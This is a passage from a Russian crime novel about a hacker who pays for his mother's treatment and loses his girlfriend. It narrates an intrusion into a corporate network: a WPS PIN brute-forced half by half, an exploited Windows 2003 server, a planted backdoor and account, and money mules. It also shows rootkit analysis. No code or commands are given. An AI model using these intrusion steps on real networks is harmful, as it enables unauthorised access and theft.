вым — повсюду бегали люди с чемоданами, гудели объявления, где‑то раз‐
давались приглушенные голоса встречающих. Состав прибыл вовремя.
Из  вагонов высыпали люди с  чемоданами и  сумками, но  Кирилл знал: мама
выйдет последней, так она поступала всегда. Она никогда не спешила, даже
если это был самый важный момент в ее жизни.

Так и  произошло: мама появилась, когда перрон почти опустел. Как  ни
приглядывался, Кирилл не смог распознать внешних признаков болезни: она
совсем не похудела и выглядела такой же, как и обычно, только немного уста‐
лой.

— Привет, Кирюша,  — мама улыбнулась, и  в этой улыбке было столько
тепла, что у него на миг защемило в груди.

Он взял ее сумку, провел рукой по ее плечу, а потом обнял. Так, как давно
не обнимал, — крепко, по‑настоящему. Она тихо шепнула:

— Ты почему такой тощий стал? Ты ешь вообще?
— Еще как! — улыбнулся он. — Все нормально, мам. Теперь все нормаль‐

но. Ты как доехала?
— Хорошо, сынок. Только не  переживай за  меня,  — в  ее голосе пос‐

лышалась извиняющаяся нотка.

Они двинулись к  выходу, мимо толпы пассажиров, таксистов, вокзальных
лавок и ларьков с шавермой.

На следующий день Кирилл отвез ее на такси в клинику. Очередь на пер‐
вичную консультацию растянулась примерно на месяц, но деньги порой тво‐
рят настоящие чудеса. Врач долго рассматривал записанные на диск резуль‐
таты томографии и  читал заключения, потом назначил дополнительные
обследования, которые следовало пройти в  течение ближайших недель.
Затем, если все сложится, как задумано, предстояла операция, курс химиоте‐
рапии, реабилитация. Кирилл прикинул: финансов должно хватить, но  бук‐
вально впритык. С  учетом затрат на  жилье для  матери он потратит все, что
у  него есть, до  последней копейки. Тот давний взлом TerraCore принес,
конечно же, значительно меньше, чем сулил Зеробайт, но  даже этого воз‐
награждения хватило надолго. И  вот сейчас запасы стали понемногу под‐
ходить к концу.

Кирилл сидел в  холле клиники, поглядывая на  закрытую дверь кабинета.
В голове роились мысли: как все организовать, успеть, сделать так, чтобы она
чувствовала себя спокойно. Счета за  обследования и  предстоящую опе‐
рацию мелькали перед  глазами, словно цифры на  экране банкомата, но  он
отгонял от себя эти тревоги. Главное, чтобы лечение пошло по плану.

Вышедшая из кабинета мама выглядела усталой, но держалась бодро.
— Все нормально, Кирюша,  — сказала она, встретившись с  ним взгля‐

дом. — Врач хороший, все подробно объяснил.
— Это самое главное, — ответил он, помогая ей снять бахилы.
Они молча вышли на  улицу, где их уже ждало вызванное заранее такси.

Дорога до  съемной квартиры прошла в  тишине. Мама смотрела в  окно,
а Кирилл украдкой разглядывал ее отражение в стекле. Она выглядела хруп‐
кой, даже слабой, но так хорошо знакомый ему взгляд был по‑прежнему упря‐
мым. Когда они вернулись, мама сразу ушла в  комнату прилечь, а  Кирилл
остался на кухне, задумчиво теребя в руке телефон.

В контору он вернулся только наутро, чувствуя себя совершенно вымотан‐
ным и  разбитым. В  принципе, можно было  бы и  дальше ночевать на  узком
кухонном топчане, но  тесная комната хостела, в  которой Кирилл провел так
много времени, уже стала для него родной и уютной. Санчо где‑то пропадал,
и, пользуясь этим обстоятельством, Кирилл решил подремать пару часов,
прежде чем заглянуть в  офис, чтобы узнать, как  там обстоят дела. Именно
в тот момент, когда он уже расстелил кровать, в дверь постучали. Недовольно
ворча себе под нос, он щелкнул замком — и увидел на пороге Трикси.

— Привет!  — сказала она как  ни в  чем не  бывало, будто они виделись
только накануне. — Ты где пропадал?

— Дела, — уклончиво ответил Киря.
Незачем ей знать о навалившихся на него проблемах…
— Ты сильно занят?  — склонила голову набок Алла, испытующе глядя

на него.
— Да не то чтобы очень, меня Лео до завтра отпустил.
— Тогда пойдем пройдемся? — неожиданно предложила Трикси.
— А давай, — кивнул Кирилл, расставшись с мечтами об отдыхе: этот раз‐

говор был для него сейчас важнее.
Они молча вышли на  улицу. Кирилл сунул руки в  карманы, обдумывая,

как начать разговор. Трикси, казалось, тоже не торопилась заговорить. Свер‐
нув с набережной канала на тихую улочку, где мокрые после недавнего дождя
листья клонились к асфальту, Алла неожиданно предложила:

— Прогуляемся по крышам? Не боишься высоты?
Кирилл знал об этом местном развлечении, но толком не понимал, в чем

кроется его секрет. В этом городе и без того хватало на что посмотреть: раз‐
водные мосты и  величественные соборы, неисчислимые каналы с  переки‐
нутыми через них горбатыми мостами и  ростральные колонны на  Стрелке,
украшенные бронзовыми корабельными носами, которые издалека напоми‐
нали филейные части застрявших в текстурах котиков. Но крыши? Это звучало
настолько непонятно, что ему стало по‑настоящему интересно.

Алла без  труда открыла запертую на  домофон дверь ближайшего подъ‐
езда, или, как тут говорили, «парадной». Кирилл слышал, что в каждой модели
домофона предусмотрен специальный код для  разблокировки замка  — им
пользовалась полиция и  спецслужбы. В  нос ударил склепный запах сырого
подвала.

— Тихо, постарайся не шуметь, — шепнула она.
Скрипучий древний лифт с  непривычно узкими дверцами вознес их

на шестой этаж: кабина оказалась настолько тесной, что Кирилл не без удо‐
вольствия прижался к  Алле, ощутив сквозь одежду приятное тепло ее тела.
Двери с  лязгом отворились, за  ними обнаружилась квадратная лестничная
клетка с  чугунными перилами и  истертыми ступенями, ведущими вверх,
на  чердак. Путь преграждала неопрятно выкрашенная в  серый цвет метал‐
лическая решетка, но  вдетый в  проушины замок оказался открыт. Алла
деловито зашагала по  ступеням, приглашающе махнув рукой,  — видно, она
уже бывала здесь раньше.

Полутемный затхлый чердак, удерживавший крышу на  потемневших
от  времени деревянных стропилах,  — такая картина была Кириллу хорошо
знакома по  временам, когда он тянул витую пару в  свою съемную квартиру
еще там, в родном городе. Наружу вела обитая жестью дверца, болтавшаяся
в ржавых петлях. Пригнувшись, Алла юркнула в дверной проем, и Кирилл пос‐
ледовал за ней, зажмурившись от ударившего в лицо солнца.

Металлическая крыша шла под  уклон, упираясь у  своего края в  низкую
ограду. Справа и слева высились пеньки печных труб, из‑за которых торчали
ребра телевизионных антенн. Кирилл подставил лицо теплому порыву ветра,
принесшему откуда‑то запах горячего асфальта. Он с интересом огляделся,
и только сейчас понял, почему людей так тянет в подобные места.

Крыши домов, укрытые квадратами серого металла, тянулись до  самого
горизонта, туда, где в  небо вонзались зубы старых заводских труб, а  между
ними поблескивал золотой коронкой шпиль Петропавловки. Под  крышами
прятались потрепанные временем стены домов — желтые, зеленые, выгорев‐
шие до  неразличимости, с  облетевшей штукатуркой и  белыми пятнами
новомодных стеклопакетов, которые смотрелись среди этой запущенной ста‐
рины точно заплатки на  изношенном пальто. Где‑то внизу слышался скрип
качелей, детский смех, шум проезжающих мимо машин, а в облаках плаксиво
перекрикивались невидимые чайки. Этот город жил своей жизнью, жил
задолго до него, переживет его и, скорее всего, очень быстро забудет.

— Ну вот мы и  здесь,  — сказала Трикси, обхватив себя руками, словно
спасаясь от порывов ветра.

Кириллу нестерпимо захотелось подойти и  обнять ее за  тонкие плечи,
но он сделал над собой усилие и сдержался.

— И зачем?
— Поговорить, — просто ответила Алла. — О нас. О том, что дальше.
— Ну давай поговорим, — согласился он. — Знаешь, мне кажется, давно

пора.
Алла замолчала, глядя вниз, на улицу. Ее волосы взлохматил ветер, и она

несколько раз попыталась их убрать, словно старалась выиграть время,
но упрямые черно‑белые пряди все равно лезли в лицо.

— Кирилл, — наконец произнесла она, — ты хороший, правда. Я никогда
таких не встречала.

Он усмехнулся.
— Ну спасибо. Лучший комплимент в моей жизни.
— Не  шути, пожалуйста, я серьезно.  — Алла посмотрела на  него.— Мне

с тобой было хорошо.
— Было? — переспросил он, чувствуя, как внутри поднимается неприятная

горечь.
— Да. Было.
Она снова отвела взгляд и уставилась куда‑то вниз.

— Я не  могу так дальше. Я хочу другой жизни, Кирюш. Я хочу уверенности.
Хочу чувствовать, что рядом человек, который знает, что он будет делать зав‐
тра.

— А я, по‑твоему, не знаю? — Он повернулся к ней, пытаясь поймать ее
взгляд.

Алла помотала головой.
— Ты привык жить здесь и сейчас и не думать о том, что будет через год,

пять, десять лет. Мне безумно интересно с  тобой, но… я просто устала,
Кирилл.

— Это из‑за него? — Он отвел взгляд, чувствуя, как к горлу подкатывается
комок.

— Тебе Санчо рассказал? Нет, дело не в этом, — сказала она, и ее голос
дрогнул.

— Что ты от меня хочешь? Чтобы я изменился?
— Нет,  — Алла дотронулась до  его плеча, но  он не  отреагировал на  это

прикосновение. — Оставайся собой. Просто... не со мной.
— А…
— Не  думай об  этом,  — быстро произнесла Алла, угадав его мысли,  —

давай считать, что ты ничего не слышал, а я тебе ни о чем не говорила. Так
будет лучше.

Он молчал, чувствуя, как  внутри растет пустота, похожая на  темный омут
в  речной заводи, куда не  проникает солнце даже в  самый ясный солнечный
день.

— Я не буду тебя держать,— сказал он. Его голос звучал тихо, почти отре‐
шенно. — Но знаешь, я думал, мы сможем все изменить.

— Прости, — прошептала она. — Не сможем.
Где‑то вдалеке заплакала чайка, и ее прерывистый стон показался Кирил‐

лу насмешливым хохотом.
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Когда Кирилл вошел в  рабочую комнату, названную его товарищами
«аквариумом» за  стеклянную перегородку от  потолка до  пола, что отделяла
помещение от  общего коридора, часы на  стене показывали без  четверти
полдень. На удивление почти вся команда уже была в сборе, даже соня Грек
сосредоточенно настукивал что‑то на клавиатуре. Отсутствовали только Саня
и Алла.

— Посылочка добралась до  адресата,  — вместо приветствия сообщил
Леонид, сжимающий в руке свою неизменную кружку кофе. — Ты Санчо нигде
не видел?

— Нет, — ответил Кирилл, ночевавший у матери на «Просвете», — я толь‐
ко приехал. Поискать его?

— Сделай одолжение, — кивнул Леонид, — нам нужна связь с его дропом,
причем прямо сейчас.

Кирилл неохотно покинул офис. Он плохо спал прошлой ночью, и  единс‐
твенное желание, которое он испытывал сейчас, — броситься на койку и под‐
ремать хотя  бы часик‑другой. Но  просьба Фреша показалась ему слишком
похожей на распоряжение.

Кирилл медленно двинулся вдоль длинного офисного коридора. Насколь‐
ко он знал, Леонид регулярно подкидывал Сане какие‑то мелкие задачи,
но  тот в  последнее время относился к  ним с  абсолютным пофигизмом,
оставляя за  собой хаос незавершенных дел. Периоды апатии сменялись
у него приступами бурной активности, но начатое почти никогда не доводи‐
лось до  конца. Головной боли добавляла обострявшаяся вечерами замкну‐
тость Санчо, словно он жил в собственном мире, куда остальные допускались
изредка и  только под  настроение. Даже поговорить с  ним никак не  выходи‐
ло  — он просто погружался в  себя, односложно отвечал на  любые вопросы
или  вовсе отмалчивался. Все в  команде уже привыкли к  подобным стран‐
ностям, но, тем не менее, посматривали на него искоса.

Киря остановился у двери своей комнаты и постучал. Изнутри доносилась
знакомая мелодия «Нас не догонят» и слышалась какая‑то возня. Он потянул
ручку на себя: дверь оказалась не заперта.

Песня звучала из Саниного телефона, а сам его владелец стоял посреди ком‐
наты в  одних трусах, тщательно ощупывая безволосую грудь тонкими паль‐
цами. Одежда была в беспорядке раскидана по полу, скомканное постельное
белье лежало тут же, одеяло бесформенной кучей громоздилось на подокон‐
нике.

— Сань, ты чего? — оторопело уставился на него Кирилл.
— А, Кикс, — повернулся к нему Санчо, — я как раз хотел тебе кой‑чего

показать. Прикинь, я тут решил в душ сгонять и случайно передатчик нашел.
Говорил же, нас постоянно кто‑то слушает.

— Где? — вытаращился на своего друга Киря.
— Да  вот же, прямо на  теле,  — тот раздраженно ткнул пальцем в  район

пупка, где Кирилл не увидел ничего подозрительного, кроме следа от брюч‐
ного ремня на  бледной коже.  — Он еще  и мысли читает, сволочь, а  потом
транслирует их по  отдельному шифрованному каналу. Какая‑то падла прик‐
репила, пока я спал.

Саня поскреб обкусанными ногтями по голому животу и матюгнулся.
— Хорошо приделали, гады, не снимается… Ща.
Он подошел к  стоявшей у  стены тумбочке, резким движением вытащил

выдвижной ящик и  перевернул его на  кровать. Порывшись в  куче высыпав‐
шегося оттуда хлама, Санчо с победным видом достал оттуда ножницы.

— Стой!  — только и  успел выкрикнуть Кирилл, повиснув на  руке друга,
собиравшегося вонзить ножницы в собственное брюхо.

Санчо отчаянно вырывался — и откуда только силы взялись? С грохотом
повалился на  пол опрокинутый стул, в  дверь просунулась голова жившего
в соседней комнате паренька, привлеченного непонятным шумом за стеной.

— Лео позови! — хрипло выкрикнул Кирилл.
Леонид появился спустя минуту и, с  ходу оценив обстановку, кинулся

на  помощь. Вдвоем они повалили отчаянно брыкающегося Санчо на  пол
и отобрали у него ножницы, после чего Фреш заломил ему руки и стянул их
за спиной валявшимся тут же вафельным полотенцем.

— Что тут случилось? — спросил он, с трудом переводя дыхание.
— Санчо нашел у себя под кожей передатчик для чтения мыслей и решил

от него избавиться, — пояснил Кирилл, утирая катящийся по лбу пот.
Фреш вполголоса выругался и обвел взглядом разгромленную комнату:
— Притащил, блин, наркомана… Интересно, где он дурь умудрился раз‐

добыть? На закрытой‑то территории? Ты случайно не в курсе?
— Без понятия. Я не сторож и не нянька, чтобы круглосуточно за ним сле‐

дить, — проворчал Кирилл.
— А  стоило бы. Он здесь, между прочим, по  твоей милости. Еще  раз

устроит что‑нибудь подобное, уедет в колонию или сразу в дурку. Эй, ты слы‐
шишь меня?

Лео похлопал по  щеке лежащего на  полу Санчо, но  тот лишь промычал
в ответ что‑то нечленораздельное.

— Если ты думаешь, будто я ему наркоту принес, то ошибаешься,  —
огрызнулся Кирилл, поднимаясь на ноги.

— Я думаю, что напрасно согласился на  твои условия,  — холодно отоз‐
вался Леонид. — Нам позарез нужна связь с его дропом, а твой друган сей‐
час не в состоянии общаться. Есть какие‑нибудь идеи?

— Погоди, — Кирилл наклонился к уху притихшего Санчо и вкрадчиво про‐
изнес:  — Саш, дай контакт своего человека, пожалуйста. Ну, которому мы
коммуникатор отправили.

— Надо его холодной водичкой полить, — злорадно предложил Фреш. —
Вон возле умывальника пластиковая бутылка валяется.

— Найтром Фан его зовут, — как ни в чем не бывало совершенно спокой‐
ным голосом отозвался Санчо, — в «Аол‑мессенджере» общались.

— Ну вот, и  целебный душ не  понадобился,  — довольно потер руки
Леонид. — Сразу бы так.

Пока Саньком занимался вызванный Леонидом охранник, которого поп‐
росили присмотреть за буйным постояльцем, Кирилл вернулся в «аквариум»,
уселся за  Санин комп и  запустил AOL Messenger. Пользователь с  ником
NitromeFan обнаружился без  особого труда, и, бегло глянув предыдущую
переписку, Кирилл перешел на английский. Получатель даже не заметит под‐
воха, думая, что с ним общается его старый знакомый.

NitromeFan оказался понятливым парнем. Он был кем‑то вроде бригадира
местных мани‑мулов, которым ставил задачи и  выдавал заслуженное воз‐
награждение. Кирилл объяснил, где забрать заранее заказанную сим‑карту
и  куда потом следует отнести девайс, предварительно его включив.
NitromeFan отстучал в ответ «we’ll nail it» — все будет сделано в лучшем виде.
А  спустя примерно час радостные возгласы Шпалы подтвердили, что
с вышедшего в сеть на другом континенте устройства пошла телеметрия.

Кирилл пересел за свой компьютер и запустил терминал. Рядом аппетитно
хрустел чипсами Грек, с любопытством разглядывая что‑то на своем экране.

— Подцепились к «вафле», — негромко прокомментировал происходящее
Финч, — блин, сетка у них запаролена, похоже.

— Я попробую в  админку роутера постучаться,  — сказал Киря, открывая
на своей машине WPS-сессию, — если удастся подобрать пин, сольем нас‐
тройки.

Разработчики маршрутизаторов изо всех сил старались облегчить поль‐
зователям жизнь, избавив их от  необходимости ковыряться в  конфигурации
девайса. Включил — и все работает, ну а если очень хочется что‑то поменять,
есть специальный механизм, позволяющий удаленно запустить настройку.
Никакой предварительной аутентификации не требуется, нужно просто ввес‐
ти правильный пин‑код. Код этот состоит из  восьми цифр. Сто миллионов
возможных вариантов — целой жизни не хватит его подобрать. Но последняя
цифра в коде — контрольная, она используется для проверки введенной пос‐
ледовательности, так что один нолик можно смело отбросить.

Однако десять миллионов комбинаций  — все равно чересчур, любой
хакер опустит руки. Ну, не  любой, конечно, а  тот, который не  знает, что
пин‑код проверяется прошивкой роутера по  частям, сначала одна его
половина, а  потом другая. Если отправлять на  точку доступа только первые
четыре цифры, число вариантов сократится до десяти тысяч, а угадав началь‐
ную последовательность, вторую можно подобрать за  тысячу попыток. Пле‐
вое дело.

Кирилл запустил утилиту, формирующую специальным образом ском‐
понованные сетевые запросы, вбил туда IP-адрес точки доступа и  запустил
процесс брутфорса. Теперь оставалось только ждать: из‑за огромного рас‐
стояния и  сложного маршрута сеть лагала, перебор вариантов шел мед‐
ленно. Не легло бы соединение…

Спустя несколько часов томительного ожидания появились признаки
успеха: удалось подобрать первую часть кода, а  еще через полчаса роутер
принял и вторую.

— Ура, получилось! — прошептал Кирилл, не отвлекаясь от экрана.
Все самое интересное только начиналось. Проверив конфигурацию мар‐

шрутизатора, он просканировал сеть на  предмет подключенных устройств.
В  списке отобразились несколько IP-адресов, включая сервер с  подоз‐
рительно крупным объемом трафика. На добытой из зашифрованного файла
схеме этот сервер тоже присутствовал и  был помечен как  файлообменник.
Вот и первая цель. Правда, главной неприятностью оставался очень слабый
и нестабильный канал. Для начала нужно закрепиться в сети, внедрить в нее
бэкдор, а уже потом можно зайти через соседнюю дверь.

Файлообменник, судя по  информации из  схемы, работал на  Windows
Server 2003 — системе, в которой админы вряд ли сумели залатать все име‐
ющиеся дыры. Если верить документу, эта машина входила в корпоративный
домен Active Directory, а  значит, там обязательно найдется чем поживиться.
Но это потом.

Кирилл быстро подобрал эксплоит, который можно было использовать
без лишнего шума, и запустил его. Сервак сопротивлялся недолго: уже через
пару минут Киря выполнил на нем cmd.exe и создал в системе новую учетную
запись. Теперь нужно обезопасить себя от неожиданностей. Он залил на уда‐
ленную машину бэкдор, прописал в планировщике задачу отката изменений,
чтобы в  случае аварийного отключения или  перезагрузки сервера можно
было вернуться, и на всякий случай проверил текущие подключения. В списке
активных сеансов значилось несколько внутренних IP-адресов, ничего подоз‐
рительного. Но на пути к победе возникла еще одна неприятная загвоздка.

— Чуваки, файлообменник у них за NAT сидит, — громко объявил Кирилл, — я
поднял телнет, но  нужно пробросить порт на  шлюзе. Кто‑нибудь может
помочь?

— Ща, туда еще  достучаться надо,  — ворчливо ответил Грек.  — Шпала,
можешь что‑нибудь с  чертовой связью сделать? У  меня пинги, мать его,
по полчаса идут.

Шпала, боровшийся за своим компом с нестабильным каналом, в котором
то и дело терялись пакеты, сыпал сквозь зубы факами.

— Пытаюсь,  — бросил через плечо он.  — Лезь так, пока все вообще
на хрен не легло.

В воздухе повисла наряженная тишина, нарушаемая лишь дробным
перестуком клавиш. Кирилл, получивший возможность немного перевести
дух, обвел взглядом «аквариум» — слишком просторный для пятерых и слиш‐
ком тесный для  него одного. В  черном провале терминала снизу вверх
бежали белые строчки, но  он смотрел мимо них. Эта чернота напоминала
омут, в  котором можно утонуть, бездонную глубину, где хищные щуки выс‐
леживают блеснувшую чешуей неосторожную рыбешку… А  потом  — один
молниеносный бросок, и все кончено.

Когда‑то, будто в другой жизни, ему на ум уже приходил этот образ. Сей‐
час, посмотрев по сторонам, Кирилл горько усмехнулся. Действительно аква‐
риум. Все, что ему теперь остается, — плавать кругами и ждать, пока треснет
невидимое стекло. А  там, с  той стороны, за  ним внимательно наблюдает
кто‑то с  банкой корма и  размышляет: налить еще  воды или  настало время
выловить самую жирную рыбу…

— Есть контакт, — радостно воскликнул Грек, — порт открыт, можно сту‐
чаться.

— Отлично, выходим, — скомандовал Лео.
Теперь дела пошли намного веселее. Кирилл вновь подключился к  внут‐

ренней сети TerraCore, но теперь воспользовался более быстрым и стабиль‐
ным каналом, который они только что наладили совместными усилиями. Вой‐
дя на  сервер под  своей новой учеткой, он выполнил в  корне диска команду
dir. Длинный список директорий пронесся по экрану. Стандартные системные
папки и  несколько явно созданных вручную каталогов, включая один,
с  зацепившим взгляд именем Perceptron_works. «Так‑так‑так, похоже, ты
не просто файлопомойка», — подумал Кирилл. Он углубился в папку, по пути
просматривая ее структуру. Внутри лежали десятки файлов: какие‑то бинар‐
ники, дампы данных, исходники. Один из  документов, README.rtf, выглядел
особенно подозрительно.

Кирилл выдернул этот файл и открыл его у себя локально. Документ ока‐
зался инструкцией по  работе с  нейросетью, но  самый интересный раздел
обнаружился внизу. В  переводе на  русский он звучал примерно так: «Вни‐
мание! Разработка класса Predictive Control находится на  стадии тестирова‐
ния. Все результаты сохранять на  сервер ARCHIVE-01. Ключи для  рас‐
шифровки запрашивать у руководителя проекта».

— Похакали контроллер домена,  — радостно объявил Финч.  — Кому
админских учеток?

Кирилл улыбнулся: команда работала как  часы. Теперь нужно решить,
как аккуратно забрать данные с ARCHIVE-01, не подняв тревогу.

— Кикс, думаешь, там есть что‑то ценное?  — раздался за  спиной голос
Фреша: тот по  своему обыкновению беззвучно подкрался к  его рабочему
месту и заглянул через плечо.

— Думаю, да,  — коротко ответил Кирилл.  — Такие штуки просто так
не шифруют.

В этот самый момент раздался встревоженный возглас Грека:
— Опа! Кажись, у нас проблемы, парни.
Кирилл и сам понял, что что‑то идет не так, — для этого достаточно было

взглянуть на  экран. Линия трафика, еще  минуту назад ровная и  стабильная,
внезапно задергалась, как  леска, подцепившая на  крючок прячущуюся
в заводи хищную рыбину.

— Лео, глянь на это, — сказал Кирилл, указывая на бьющийся в конвуль‐
сиях график.

Еще пара секунд  — и  в логах мелькнуло сообщение: «Security Alert:
Intrusion detected. TDS/AI sync initiated».

Фреш хмуро глянул на экран.
— Кто‑то, похоже, проверяет сеть. Финч, у  нас тут что‑то странное. Они

там запустили какой‑то сканер, что ли?
Финч нацепил очки, на  стеклах которых отразился голубоватый квадрат

экрана, и с минуту сосредоточенно пялился в монитор, прежде чем ответить:
— Это не сканер. Это их ИИ. Он управляет системой защиты, и, похоже, он

уже нас видит.
Кирилл выругался. Если «Перцептрон» уже работает и  подключен к  сис‐

теме предотвращения вторжений, дело плохо. С искусственным интеллектом
никто из  них еще  не сталкивался, и  Кирилл понятия не  имел, чего ждать
от этой штуки и как с ней бороться.

На экране начали всплывать новые уведомления: «Перцептрон» запускал
блокировку исходящих соединений. Умная программа. Даже слишком.
Кирилл сменил IP-адрес, чтобы запутать систему, но  не тут‑то было. Ней‐
росеть явно вела себя не  как стандартный IDS. Она не  только блокировала
запросы, она начала менять настройки маршрутизаторов, чтобы затруднить
повторное подключение.

— Шпала, у тебя тоже лаги? — спросил Кирилл, чувствуя, как его соеди‐
нение становится все более нестабильным.

— Угу. Он режет каналы. Пытаюсь зайти через соседние порты, но  там
голяк.

Фреш, внимательно следивший за бегущими по экранам строками, решил
внести ясность в происходящее:

— Ребята, «Перцептрон» учится. Он не просто реагирует, он анализирует
ваши действия.

Открыв другое окно, Кирилл запустил скрипт, начавший сыпать через пач‐
ку прокси‑серверов тысячами мусорных пакетов на доступные узлы сети. Он
надеялся, что «Перцептрон» заметит аномальную активность и  перекинет
часть ресурсов на  борьбу с  фальшивыми попытками сканирования портов.
Но  вместо этого искусственный интеллект начал искать связь между ата‐
кующими узлами, отсекая их один за  другим. Соединение еще  работало,
но скорость неумолимо падала. Канал продержался еще пару минут, прежде
чем сдох окончательно.

— Конец фильма,  — констатировал очевидное Грек,  — кажется, нас
поимели.

— Зато мы узнали много нового, — устало откликнулся Кирилл, выключая
машину.

Нет, надо все‑таки немного поспать — глаза от усталости уже начали сле‐
зиться.

Выйдя из  «аквариума», он нагнал в  коридоре отправившегося по  своим
делам Фреша.

— Лёня, а где Трикси? — поинтересовался Кирилл.
— Ушла, — пожал плечами тот.
— В смысле?
— Она свободный человек, Кикс. Если решила уйти, я не  могу ее удер‐

живать силой. И кстати, насчет руткита, который ты нашел у нее на компе: мы
решили пока что его не  трогать. Пусть те, кто его подсунул, понаблюдают,
как эта машина путешествует по всей стране.

«Мы решили,  — с  горечью подумал Кирилл,  — ну да, конечно». Горечь
обиды поднялась в  горле и  застряла там колючим комом. Надо найти Аллу.
Обязательно найти. Только вот как?

Кирилл запоздало осознал, что даже не знает ее домашнего адреса.
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Вернувшись в  комнату, Кирилл обнаружил Санчо лежащим на  кровати
и  задумчиво курящим в  потолок. Вообще, курить в  помещениях здешней
общаги категорически запрещалось, но Саня плевал на формальности.

— Ну как, отпустило? — поинтересовался Киря, открыв пошире окно.
— Да вроде, — Санчо выпустил несколько колечек дыма и снова глубоко

затянулся.
— Лео обещал тебя в  дурку сдать,  — доверительно сообщил другу

Кирилл. — Или в тюрягу, как получится.
— Да  и похрен. Что тут, что там, один фиг никуда не  выпускают. Сидишь

в четырех стенах, как в клетке. Задолбало.
— А  куда тебе так срочно надо? Успеешь еще  в Эрмитаже побывать,

как срок закончится.
— Да плевал я на тот Эрмитаж, — хмыкнул Санчо. — Что я там забыл? Вот

в клуб какой‑нибудь я бы сходил. В «Тоннель», например, или в «Телеграф», я
про него в инете читал. Там DJ Winnie играет, слышал о таком?

— Не‑а, — честно признался Кирилл, не слишком интересовавшийся клуб‐
ной культурой.

— Ну так послушай. Ты‑то можешь пойти, куда захочешь, в  отличие
от меня. Прикольный чувак этот Winnie, и музло хорошее…

— Ты мне лучше вот что скажи,  — прервал пространные мечтания друга
Кирилл, — сможешь еще разок такую же штуку, как с коммуникатором, про‐
вернуть? Ну, в  смысле, заслать кое‑что в  Штаты и  сделать так, чтобы эта
посылочка оказалась в нужное время и в нужном месте? Только один момент,
Сань. Надо все хитро организовать, чтобы Фреш не узнал.

— Что‑то мутное затеял? — в глазах Санчо загорелся неподдельный инте‐
рес.

— Пока что это только планы. Но если ты мне поможешь, замутим вместе.
— Парни в Америке за деньги работают, — напомнил Санчо, — но, как ты

понимаешь, при наличии бабла в нашем мире нет ничего невозможного.
— Будет тебе бабло, — поморщился Кирилл.
Денежный вопрос с  каждым днем вставал для  него все острее и  острее.

Тем не менее он прикинул, что сумеет найти средства на реализацию своей
задумки. А  уж если получится… Впрочем, говорить об  этом пока еще  было
слишком рано.

Организация безопасности в конторе слегка отдавала паранойей: у Кирилла
был доступ в «аквариум», где работала его группа, а вот на электронном зам‐
ке соседней комнаты магнитная карточка уже не  срабатывала. Он мог сво‐
бодно заходить в  столовую, в  курилку, в  зал для  отдыха и  в переговорную,
но в другие помещения и на смежные этажи хода не было. Именно поэтому
Кирилл терпеливо дожидался, когда в буфете появится нужный ему человек.
Спустя примерно сорок минут его терпение было вознаграждено: в  дверях
показался нескладный лупоглазый парнишка с рыжими волосами, пострижен‐
ными коротким ежиком. Он взял со  стеллажа поднос и  принялся деловито
накладывать в пластиковую тарелку салат с грибами.

— Привет, ты ведь Ярослав? — подсел к нему Кирилл, когда тот устроился
за столиком и принялся поглощать завтрак.

— Ну да, — кивнул тот. — Я тебя вроде бы видел здесь раньше.
— Ага, я Кикс, за стенкой работаю, — представился Киря. — Лео сказал,

ты один из лучших реверс‑инженеров в его команде. Хотел вот у тебя помощи
попросить… Попался мне тут один хитрый руткит, но  я в  кодокопательстве
не силен. Сможешь его посмотреть?

— Да  могу, в  принципе,  — пожал плечами Ярослав,  — а  что искать‑то
будем?

Кирилл в  задумчивости почесал пальцами подбородок. Он, если честно,
и сам толком не знал, что желает найти в недрах этой программы.

— Характерные строки, комменты какие‑нибудь,  — отозвался наконец
он. — И еще мне интересно, как он управляющий сервер резолвит.

— Хочешь автора этого вредоноса вычислить? — догадался Ярослав.
— Ну да. И по рогам ему настучать.
— Ну пойдем,  — вздохнул тот, доедая свой салат.  — Поглядим на  твой

руткит.
Кирилл с любопытством оглядел помещение, в котором очутился впервые,

но  зрелище оказалось разочаровывающим. В  точности такая же комната,
как  и у  них самих: расставленные рядами столы с  компами, свитч с  тор‐
чащими кишками витой пары на стене, рядом — белая маркерная доска, раз‐
малеванная синими и  красными каракулями. Ярик уселся за  свой комп, что
стоял в самом дальнем углу, и забрал у Кирилла флешку. Запустил виртуалку,
скопировал на  свою машину нужные файлы и  принялся изучать их содер‐
жимое.

— Он текущую геопозицию вычисляет и  передает на  удаленный сервак
с заданным интервалом, — на всякий случай пояснил Кирилл.

— Ага, вижу. Вот по  этому смещению начинается код, формирующий
айпишник, куда запросы идут.

Ярик увлеченно щелкал мышью, перескакивая с одной секции дизассем‐
блированного листинга на другую.

— В  общем, адреса он меняет динамически, но  они все из  одной под‐
сети, — сообщил он спустя пару минут.

— Сможешь список выгрузить?
— Угу. Интересный у него алгоритм генерации имени процесса. Никогда

такого не видел… Хотя не, постой. Видел. Вспомнить бы только — где…
Кирилл затаил дыхание, а его новый знакомый тем временем погрузился

в  себя. Кирилл почти отчетливо представлял себе прогресс‑бар, запол‐
няющийся по мере поиска в глубинах памяти Ярослава нужной информации.
Напряженное молчание длилось десять секунд, двадцать, минуту…

Ярик молча запустил файловый менеджер, зашел на  локальный сервер,
где хранились образцы вредоносных программ в виде файлов с состоящими
из  хешей именами без  расширений, немного пошарил там и  скачал что‑то
себе на  комп. Открыл слитый образец в  Hex-редакторе, рядом развернул
файл, который передал ему Кирилл.

— Ну да, код практически одинаковый,  — вынес свой вердикт он,  —
это «Эклипсор», еще один похожий руткит, пару лет назад в сети появился.

— Исходники открыты? — деловито поинтересовался Кирилл.
— Не‑а, — качнул головой Ярик, — этот трой использовался в основном

в  таргетированных атаках, вещь штучная. Но  автор отдельные куски кода
в  интернете выкладывал. Он типа экспертные статьи публикует и  всякое
такое.

— Что за чел?
Вместо ответа Ярослав открыл сайт Blogger и повернул экран к Кире, что‐

бы ему было лучше видно. «WhiteSpector», — прочел на страничке Кирилл.
— Он же Лиам, — пояснил Ярослав, — топит за инфобез, этичный взлом

и классово ненавидит вашего брата.
— Ну так код из его блога любой дурак может позаимствовать, — разоча‐

рованно протянул Кирилл.
— Так‑то оно так, — согласился Ярик и снова раскрыл на экране окошко

редактора, — только есть одно «но». Вот этот кусок он у себя в заметках дей‐
ствительно показывал. А вот этот — нет. Сам глянь, и в «Эклипсоре», и в тво‐
ем семпле он практически одинаковый. А тем, что «Эклипсор» Лиам написал,
он сам хвастался. Типа, мол, удобный инструмент, чтобы за  хакерами сле‐
дить, работает скрытно и никакого вреда не наносит.

— Спасибо, дружище,  — искренне поблагодарил его Киря.  — Ты даже
не представляешь, как помог. Буду тебе теперь по гроб жизни обязан.

